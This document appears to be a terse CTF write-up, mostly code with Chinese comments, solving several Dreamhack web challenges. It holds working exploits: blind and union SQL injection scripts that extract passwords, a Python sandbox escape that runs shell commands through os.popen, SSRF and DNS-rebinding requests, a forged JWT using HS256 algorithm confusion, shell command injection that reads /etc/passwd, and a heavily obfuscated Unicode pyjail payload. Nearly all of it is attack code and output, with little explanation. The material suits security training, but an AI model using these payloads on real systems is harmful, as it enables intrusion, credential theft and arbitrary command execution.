1
q2 = q + q  # 输入被重复两次
2
sql = f"SELECT id, username FROM users WHERE username='{q2}'"

1
' OR [condition] AND '1'='1

1
' OR [condition] AND '1'='1' OR [condition] AND '1'='1

1
WHERE username='' OR [condition] AND '1'='1' OR [condition] AND '1'='1

1
import requests
2
import urllib.parse
3

4
BASE_URL = "http://host1.dreamhack.games:23244"
5
TARGET_URL = f"{BASE_URL}/search"
6

7
def check_char(pos, ascii_val):
8
    condition = f"ASCII(SUBSTRING((SELECT password FROM users WHERE username='adminadmin'),{pos},1))={ascii_val}"
9
    payload = f"' OR {condition} AND '1'='1"
10

11
    params = {'q': payload}
12

13
    try:
14
        response = requests.get(TARGET_URL, params=params, timeout=5)
15

16
        if '<li>' in response.text and 'adminadmin</li>' in response.text:
17
            return True
18
    except requests.exceptions.RequestException as e:
19
        print(e)
20

21
    return False
22

23
def exploit():
24
    print("[+] 22...")
25
    flag = ""
26

27
    for pos in range(1, 100):
28
        found_at_pos = False
29
        for ascii_val in range(32, 127):
30
            if check_char(pos, ascii_val):
31
                char = chr(ascii_val)
32
                flag += char
33
                print(f"  [Pos {pos}] 匹配成功: '{char}' -> Current Flag: {flag}")
34
                found_at_pos = True
35
                break
36

37
        if not found_at_pos or flag.endswith('}'):
38
            break
39

40
    print(f"\n[!] FLAG: {flag}")
41

42
if __name__ == "__main__":
43
    exploit()
44
# [!] FLAG: DH{Here_Is_FLAG!_Here_Is_FLAG!}

1
BASE = "http://localhost:5050"
2
target = BASE + raw_path # 这个raw_path是通过path参数传入的，可控的
3
login_url = BASE + "/login?id=admin&password=[FAKE_PASSWORD]"
4

5
driver.get(BASE + "/")
6
driver.get(target)
7
time.sleep(5)
8

9
driver.get(login_url)
10
time.sleep(1)

1
@app.get("/login")
2
def login():
3
    sid = request.cookies.get(COOKIE_NAME)
4
    userId = request.args.get("id", "")
5
    password = request.args.get("password", "")
6

7
    print(f"sid:{sid}, userId:{userId}, password:{password}")
8

9
    resp = make_response(jsonify(ok=True))
10

11
    with _lock:
12
        # 下面这个sha256_hex我改过了，不然admin也没法登录
13
        if userId == "admin" and sha256_hex(password) == "f2a9786fd090a2ddc191e3ab443d718c23f34ccf7be485a83ef54c3b48ccd5cc":
14
            if (not sid) or (sid not in _store):
15
                sid = newSid()
16
            _store[sid] = {"role": "admin"}
17
        else:
18
            sid = newSid()
19
            _store[sid] = {"role": "guest"}
20

21
    resp.set_cookie(COOKIE_NAME, sid, httponly=True, path="/")
22
    return resp

1
@app.route("/login",methods=['POST'])
2
def login():
3
    banned_word=['from', 'where', 'insert', 'update', 'delete', 'join', 'substr', 'concat', 'table', 'database', 'schema', 'if', 'order', 'group', 'by', 'limit', 'offset', 'exists', 'between', 'regexp', 'binary', 'file', 'not', 'rlike', 'left', 'right', 'mid', 'lpad', 'rpad', 'char', 'user', 'version', 'session', 'sleep', 'benchmark', 'hex', 'base64', '0x', "x'",'x"','admin']
4
    banned_letter='+-*/=:;<>.?!\\$%^~`'
5
    username=request.form.get('username')
6
    password=request.form.get('password')
7
    for word in banned_word:
8
        if (word in username.lower()) or (word in password.lower()):
9
            return render_template('index.html',message='No Hack~ ^_^')
10
    for i in range(0,len(banned_letter),1):
11
        letter=banned_letter[i]
12
        if (letter in username.lower()) or (letter in password.lower()):
13
            return render_template('index.html',message='No Hack~ ^_^')
14
    query=f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
15
    print(query,flush=True)
16
    user=None
17
    try:
18
        connection=db_connection()
19
        cursor=connection.cursor()
20
        cursor.execute(query)
21
        user=cursor.fetchone()
22
        cursor.close()
23
        connection.close()
24
    except:
25
        user=None
26
    finally:
27
        if user and user[1]=='admin':
28
            return render_template('login.html',username=user[1],success=SECRET)
29
        elif user:
30
            return render_template('login.html',username=user[1],success='')
31
        else:
32
            return render_template('index.html',message='Invalid User ID or Password.')

1
' union select 1,reverse('nimda'),2#

1
' union select 1,replace('bdmin','b','a'),2#

1
Hello,admin
2
Flag is Rootsquare's password.

1
import requests
2

3
url = "http://host1.dreamhack.games:16746/login"
4
alphabet = "0123456789abcdef{}_"
5

6
def check(payload):
7
    data = {"username": payload, "password": "any"}
8
    r = requests.post(url, data=data)
9
    return "Invalid" not in r.text
10

11
length = 0
12
for i in range(7): # 2^6 = 64
13
    bit = 1 << i
14
    if check(f"Rootsquare' AND (LENGTH(password) & {bit})#"):
15
        length |= bit
16
print(f"Password Length: {length}")
17

18
flag = ""
19
for i in range(length):
20
    for char in alphabet:
21
        # 构造类似 'flag' + 'a' + '____' 的结构
22
        underscores = "_" * (length - len(flag) - 1)
23
        test_str = flag + char + underscores
24
        if check(f"Rootsquare' AND password LIKE '{test_str}'#"):
25
            flag += char
26
            print(f"Current Flag: {flag}")
27
            break
28

29
# Current Flag: b1_4__{c29663c034fcefabe09d7c1af064caea}

1
B1N4RY{c29663c034fcefabe09d7c1af064caea}

1
def get_login_user():
2
    try:
3
        with open("log.txt", "r", encoding="utf-8") as f:
4
            for line in reversed(f.readlines()):
5
                line = line.strip()
6
                if line.startswith("user="):
7
                    username = line[len("user="):].strip()
8
                    if username=="None":
9
                        return None
10
                    return username
11
    except FileNotFoundError:
12
        return None
13
    return None

1
<?php
2
$data = '';
3
if ($_SERVER['REQUEST_METHOD'] === 'GET'){
4
    $data = $_GET['text'] ?? "Error: 'text' variable not found in GET body.";
5
}
6
echo $data;
7
?>

1
INFO:werkzeug:192.168.97.1 - - [30/Jan/2026 10:35:02] "GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1" 404 -

1
?text=1&text=PAYLOAD
2
    - Flask 解析出 '1' (通过校验)
3
    - PHP 解析出 'PAYLOAD' (返回 Python)

1
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('cat /app/flag.txt').read()

1
/calc?text=1&text=[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('cat /app/flag.txt').read()

1
http://example.com%2f@redirector:8081

1
ssrf_url = "http://example.com%2f@redirector:8081/redir?to=http://internalapi:8081/admin/flag"

1
cur.execute(f"SELECT ev, job, info, t FROM audit ORDER BY {order} DESC LIMIT 80")

1
order_payload = f"t*(CASE WHEN (SELECT result FROM jobs WHERE id='{job_id}') LIKE '%{current_guess}%' THEN 1 ELSE -1 END)"

1
coDe_200_HeaDers_{_server____werkzeug_3_1_5_pytHon_3_11_14____Date____sat__31_jan_2026_04_56_45_gmt____content_type____application_json____content_lengtH____26____connection____close_}_boDy_snippet_{_flag___DH{__flag__}_n_}_

1
def _verify_and_decode_eddsa(token):
2
    if not token:
3
        raise InvalidTokenError("missing token")
4
    header_b64 = token.split('.')[0]
5
    padding = '=' * (-len(header_b64) % 4)
6
    header_bytes = base64.urlsafe_b64decode(header_b64 + padding)
7
    header = json.loads(header_bytes)
8
    alg = header.get("alg", "EdDSA")
9
    pubkey = read_key(PUBLIC_KEY_PATH)
10
    if isinstance(pubkey, bytes):
11
        pubkey = pubkey.decode("utf-8")
12
    return jwt.decode(token, key=pubkey, algorithms=jwt.algorithms.get_default_algorithms())
13

14
def _get_token_from_request():
15
    token = request.cookies.get("token")
16
    if not token:
17
        auth = request.headers.get("Authorization", "")
18
        if auth.lower().startswith("bearer "):
19
            token = auth.split(" ", 1)[1].strip()
20
    return token
21

22
def _verify_token(token):
23
    if not token:
24
        raise InvalidTokenError("missing token")
25
    pubkey = read_key(PUBLIC_KEY_PATH)
26
    if isinstance(pubkey, bytes):
27
        pubkey = pubkey.decode("utf-8")
28
    return jwt.decode(token, key=pubkey, algorithms=jwt.algorithms.get_default_algorithms())

1
(ctf) ➜  MemoVault python exp.py
2
Traceback (most recent call last):
3
  File "/Users/chao/ctf/Dreamhack/MemoVault/exp.py", line 19, in <module>
4
    fake_token = jwt.encode(payload, public_key_content, algorithm="HS256")
5
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
6
  File "/Users/chao/miniconda3/envs/ctf/lib/python3.12/site-packages/jwt/api_jwt.py", line 153, in encode
7
    return self._jws.encode(
8
           ^^^^^^^^^^^^^^^^^
9
  File "/Users/chao/miniconda3/envs/ctf/lib/python3.12/site-packages/jwt/api_jws.py", line 183, in encode
10
    key = alg_obj.prepare_key(key)
11
          ^^^^^^^^^^^^^^^^^^^^^^^^
12
  File "/Users/chao/miniconda3/envs/ctf/lib/python3.12/site-packages/jwt/algorithms.py", line 346, in prepare_key
13
    raise InvalidKeyError(
14
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

1
pip uninstall PyJWT
2
pip install PyJWT==2.3

1
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDU4xkYF1yTDmUaZ9Ha9Km/NTA8Vt8M5r8HKorvaDorl

1
cur.execute(f"SELECT id, content FROM notes WHERE owner_id = {uid} ORDER BY id DESC LIMIT 50")

1
import jwt
2

3
public_key_content = b"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDU4xkYF1yTDmUaZ9Ha9Km/NTA8Vt8M5r8HKorvaDorl"
4

5
# 原始查询: SELECT id, content FROM notes WHERE owner_id = {uid} ...
6
# 注入后: SELECT ... WHERE owner_id = 0 UNION SELECT 1, value FROM flags ...
7
injection_payload = "0 UNION SELECT 1, value FROM flags"
8

9
payload = {
10
    "uid": injection_payload,
11
    "uname": "admin",
12
    "iat": 1700000000,
13
    "exp": 1900000000
14
}
15

16
# 使用 HS256 算法，密钥为公钥内容
17
fake_token = jwt.encode(payload, public_key_content, algorithm="HS256")
18

19
print(f"Cookie: token={fake_token}")

1
var banned = regexp.MustCompile(`(?i)(flag|[\@\$\*\{\!\?\.\%\;\|\"\'\#\^\&\(\)\+\=\<\>\\])`)
2
cmd := exec.Command("sh", "-c", "cat " + filename)

1
from flask import Flask, redirect
2
app = Flask(__name__)
3

4
@app.route('/redirect')
5
def exploit():
6
    # 这里填入 Payload
7
    return redirect('http://127.0.0.1:8080/api/read?filename=/etc/passwd')
8

9
if __name__ == '__main__':
10
    app.run(host='0.0.0.0', port=80)

1
cat /etc/passwd
2
grep -rIs DH /

1
from flask import Flask, redirect
2

3
app = Flask(__name__)
4

5
@app.route('/redirect')
6
def exploit():
7

8
    payload = "/etc/passwd%0Agrep%20-rIs%20DH%20%2f"
9
    target_url = f'http://127.0.0.1:8080/api/read?filename={payload}'
10

11
    print(f"[+] Redirecting target to: {target_url}")
12
    return redirect(target_url)
13

14
if __name__ == '__main__':
15
    app.run(host='0.0.0.0', port=80)

1
curl -X POST http://host3.dreamhack.games:18327/request -d 'host=8efaca0e.7f000001.rbndr.us&port=8080&path=/api/read?filename=/fl[a]g[[:punct:]]txt'

1
host=::ffff:127.0.0.1&port=8080&path=%2Fapi%2Fread%3Ffilename=%60find%2520/%2520-maxdepth%25201%2520-type%2520f%60

1
host=::ffff:127.0.0.1&port=8080&path=/api/read?filename=`find / -maxdepth 1 -type f`

1
/api/read?filename=/fla[g]`head+-c1+/dev/urandom`txt

1
head -c1 /dev/urandom

1
/fla`echo -n g``tail -c 1 files/cat`txt

1
A cat is a small, furry animal often kept as a pet, known for its playful and independent nature.
2
It has sharp claws, keen senses, and is loved for being both affectionate and curious.

1
cp /f[l]ag[[:print:]]txt hello

1
().＿_ｃｌａｓｓ＿_.＿_ｂａｓｅ＿＿.＿_ｓｕｂｃｌａｓｓｅｓ＿＿
2

3
Ahhh... I know what you want to do with "＿". It is pretty boarding stuff. Could you find some another character representing it?
4

5
__import__: '︳︳ᵢᵐᵖºʳᵗ︳︳'
6
Result: Ahhh... I know what you want to do with "︳". It is pretty boarding stuff. Could you find some another character representing it?
7

8
You cannot use "getitem", it will too easy for you i guess ;

1
a=True.real
2
b=a+a
3
c=b+b
4
d=c+c
5
e=d+d
6
f=e+e
7
assert False,f+d+c+b+a
8
# 47
9

10
# f: 102
11
# l: 108
12
# a: 97
13
# g: 103

1
a=True
2
b=False
3
c=a.real
4
d=c+c
5
g=()._﹍reduce_ex_﹍(d)
6
h=g._﹍getitem_﹍(c)
7
assert b,h

1
a=True
2
b=False
3
c=a.real # 1
4
d=c+c
5
g=()._﹍reduce_ex_﹍(d)
6
h=g._﹍class_﹍(c)
7
assert b,h

1
a=True
2
b=False
3
c=a.real
4
d=c+c
5
g=()._﹍reduce_ex_﹍(d)
6
h=g._﹍iter_﹍()._﹍next_﹍()
7
i=h._﹍next_﹍()._﹍iter_﹍()
8
assert b,i._﹍next_﹍()

1
a=True
2
b=False
3
c=a.real
4
d=c+c
5
h=()._﹍𝓬𝓵𝓪𝓼𝓼_﹍
6
i=h._﹍𝓫𝓪𝓼𝓮_﹍
7
j=i._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼_﹍()
8
assert b, j

1
a=True
2
b=False
3
c=a.real
4
d=c+c
5
g=()._﹍reduce_ex_﹍(d)
6
h=g._﹍iter_﹍()._﹍next_﹍()
7
i=h._﹍𝓫𝓾𝓲𝓵𝓽𝓲𝓷𝓼_﹍
8
assert b,i

1
a=True
2
b=False
3
c=a.real
4
d=c+c
5
h=()._﹍𝓬𝓵𝓪𝓼𝓼_﹍
6
i=h._﹍𝓫𝓪𝓼𝓮_﹍
7
j=i._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼_﹍()
8
p=j.pop
9
p(b)
10
p(b)
11
p(b)
12
p(b)
13
p(b)
14
p(b)
15
p(b)
16
p(b)
17
p(b)
18
p(b)
19
p(b)
20
p(b)
21
p(b)
22
p(b)
23
p(b)
24
p(b)
25
p(b)
26
p(b)
27
p(b)
28
p(b)
29
p(b)
30
p(b)
31
p(b)
32
p(b)
33
p(b)
34
p(b)
35
D=p(b)
36
p(b)
37
p(b)
38
p(b)
39
p(b)
40
p(b)
41
p(b)
42
p(b)
43
p(b)
44
p(b)
45
p(b)
46
p(b)
47
L=p(b)
48
p(b)
49
p(b)
50
p(b)
51
p(b)
52
p(b)
53
p(b)
54
p(b)
55
p(b)
56
p(b)
57
p(b)
58
p(b)
59
p(b)
60
p(b)
61
p(b)
62
p(b)
63
p(b)
64
p(b)
65
p(b)
66
p(b)
67
p(b)
68
p(b)
69
p(b)
70
p(b)
71
p(b)
72
p(b)
73
S=p(b)
74
p(b)
75
p(b)
76
p(b)
77
p(b)
78
p(b)
79
p(b)
80
p(b)
81
p(b)
82
p(b)
83
p(b)
84
p(b)
85
p(b)
86
p(b)
87
p(b)
88
p(b)
89
p(b)
90
p(b)
91
p(b)
92
p(b)
93
p(b)
94
p(b)
95
p(b)
96
p(b)
97
p(b)
98
p(b)
99
p(b)
100
p(b)
101
p(b)
102
p(b)
103
p(b)
104
p(b)
105
p(b)
106
p(b)
107
p(b)
108
p(b)
109
p(b)
110
p(b)
111
p(b)
112
p(b)
113
p(b)
114
p(b)
115
p(b)
116
p(b)
117
p(b)
118
p(b)
119
p(b)
120
p(b)
121
p(b)
122
p(b)
123
p(b)
124
p(b)
125
p(b)
126
p(b)
127
p(b)
128
p(b)
129
p(b)
130
p(b)
131
p(b)
132
p(b)
133
p(b)
134
p(b)
135
p(b)
136
p(b)
137
p(b)
138
p(b)
139
p(b)
140
p(b)
141
p(b)
142
p(b)
143
p(b)
144
p(b)
145
p(b)
146
p(b)
147
W=p(b)
148
aa=W._﹍init_﹍
149
ab=aa._﹍globals_﹍
150
ac=S()
151
ad=L(ac)
152
ae=ad.append
153
ag=D(s=a)
154
ah=L(ag)
155
af=ah.pop()
156
ae(af)
157
aj=D(e=a)
158
ak=L(aj)
159
ai=ak.pop()
160
ae(ai)
161
am=D(p=a)
162
an=L(am)
163
al=an.pop()
164
ae(al)
165
ao=ac.join(ad)
166
ap=ab.get(ao)
167
aq=S()
168
ar=L(aq)
169
at=ar.append
170
at(af)
171
av=D(y=a)
172
aw=L(av)
173
au=aw.pop()
174
at(au)
175
at(af)
176
ax=aq.join(ar)
177
ay=ab.get(ax)
178
az=ay.modules
179
ba=S()
180
bb=L(ba)
181
bc=bb.append
182
bc(af)
183
be=D(t=a)
184
bf=L(be)
185
bd=bf.pop()
186
bc(bd)
187
bh=D(r=a)
188
bi=L(bh)
189
bg=bi.pop()
190
bc(bg)
191
bk=D(i=a)
192
bl=L(bk)
193
bj=bl.pop()
194
bc(bj)
195
bn=D(n=a)
196
bo=L(bn)
197
bm=bo.pop()
198
bc(bm)
199
bq=D(g=a)
200
br=L(bq)
201
bp=br.pop()
202
bc(bp)
203
bs=ba.join(bb)
204
bt=az.get(bs)
205
bv=D(_=a)
206
bw=L(bv)
207
bu=bw.pop()
208
bx=S()
209
by=L(bx)
210
bz=by.append
211
cb=D(d=a)
212
cc=L(cb)
213
ca=cc.pop()
214
bz(ca)
215
bz(bj)
216
ce=D(c=a)
217
cf=L(ce)
218
cd=cf.pop()
219
bz(cd)
220
bz(bd)
221
cg=bx.join(by)
222
ch=(bu,bu,cg,bu,bu)
223
ci=S().join(ch)
224
cj=bt._﹍dict_﹍
225
ck=S()
226
cl=L(ck)
227
cm=cl.append
228
cm(ca)
229
cm(bj)
230
cm(bp)
231
cm(bj)
232
cm(bd)
233
cm(af)
234
cn=ck.join(cl)
235
co=cj.get(cn)
236
cp=S()
237
cq=L(cp)
238
cr=cq.append
239
cr(al)
240
ct=D(u=a)
241
cu=L(ct)
242
cs=cu.pop()
243
cr(cs)
244
cr(bm)
245
cr(cd)
246
cr(bd)
247
cr(cs)
248
cw=D(a=a)
249
cx=L(cw)
250
cv=cx.pop()
251
cr(cv)
252
cr(bd)
253
cr(bj)
254
cz=D(o=a)
255
da=L(cz)
256
cy=da.pop()
257
cr(cy)
258
cr(bm)
259
db=cp.join(cq)
260
dc=cj.get(db)
261
dd=S()
262
de=L(dd)
263
df=de.append
264
df(cy)
265
df(af)
266
dg=dd.join(de)
267
dh=az.get(dg)
268
di=dh._﹍dict_﹍
269
dj=S()
270
dk=L(dj)
271
dl=dk.append
272
dl(al)
273
dl(cy)
274
dl(al)
275
dl(ai)
276
dl(bm)
277
dm=dj.join(dk)
278
dn=di.get(dm)
279
do=S()
280
dp=L(do)
281
dq=dp.append
282
dq(ai)
283
dq(cd)
284
ds=D(h=a)
285
dt=L(ds)
286
dr=dt.pop()
287
dq(dr)
288
dq(cy)
289
dv=(a,a)
290
dw=S(dv)
291
dx=L(dw)
292
dy=dx.pop
293
dy(b)
294
dy(b)
295
dy(b)
296
dy(b)
297
dy(b)
298
dy(b)
299
du=dy(b)
300
dq(du)
301
ea=D(Y=a)
302
eb=L(ea)
303
dz=eb.pop()
304
dq(dz)
305
ed=L(co)
306
ee=ed.pop
307
ee(b)
308
ee(b)
309
ec=ee(b)
310
dq(ec)
311
eg=D(F=a)
312
eh=L(eg)
313
ef=eh.pop()
314
dq(ef)
315
ej=L(co)
316
ek=ej.pop
317
ei=ek(b)
318
dq(ei)
319
em=D(I=a)
320
en=L(em)
321
el=en.pop()
322
dq(el)
323
ep=D(C=a)
324
eq=L(ep)
325
eo=eq.pop()
326
dq(eo)
327
es=L(co)
328
et=es.pop
329
et(b)
330
et(b)
331
et(b)
332
et(b)
333
et(b)
334
et(b)
335
et(b)
336
et(b)
337
et(b)
338
er=et(b)
339
dq(er)
340
ev=D(m=a)
341
ew=L(ev)
342
eu=ew.pop()
343
dq(eu)
344
ey=D(b=a)
345
ez=L(ey)
346
ex=ez.pop()
347
dq(ex)
348
fb=D(G=a)
349
fc=L(fb)
350
fa=fc.pop()
351
dq(fa)
352
dq(ef)
353
dq(bm)
354
dq(du)
355
fe=L(dc)
356
ff=fe.pop
357
ff(b)
358
ff(b)
359
ff(b)
360
ff(b)
361
ff(b)
362
ff(b)
363
ff(b)
364
ff(b)
365
ff(b)
366
ff(b)
367
ff(b)
368
ff(b)
369
ff(b)
370
ff(b)
371
ff(b)
372
ff(b)
373
ff(b)
374
ff(b)
375
ff(b)
376
ff(b)
377
ff(b)
378
ff(b)
379
ff(b)
380
ff(b)
381
ff(b)
382
ff(b)
383
ff(b)
384
ff(b)
385
ff(b)
386
fd=ff(b)
387
dq(fd)
388
dq(du)
389
dq(ex)
390
dq(cv)
391
dq(af)
392
dq(ai)
393
fh=L(co)
394
fi=fh.pop
395
fi(b)
396
fi(b)
397
fi(b)
398
fi(b)
399
fi(b)
400
fi(b)
401
fg=fi(b)
402
dq(fg)
403
fk=L(co)
404
fl=fk.pop
405
fl(b)
406
fl(b)
407
fl(b)
408
fl(b)
409
fj=fl(b)
410
dq(fj)
411
dq(du)
412
fn=L(dc)
413
fo=fn.pop
414
fo(b)
415
fo(b)
416
fo(b)
417
fo(b)
418
fo(b)
419
fo(b)
420
fo(b)
421
fo(b)
422
fo(b)
423
fo(b)
424
fo(b)
425
fo(b)
426
fm=fo(b)
427
dq(fm)
428
dq(ca)
429
dq(du)
430
dq(fd)
431
dq(du)
432
dq(af)
433
dq(dr)
434
fp=do.join(dp)
435
fq=dn(fp)
436
fr=fq.read()
437
assert False,fr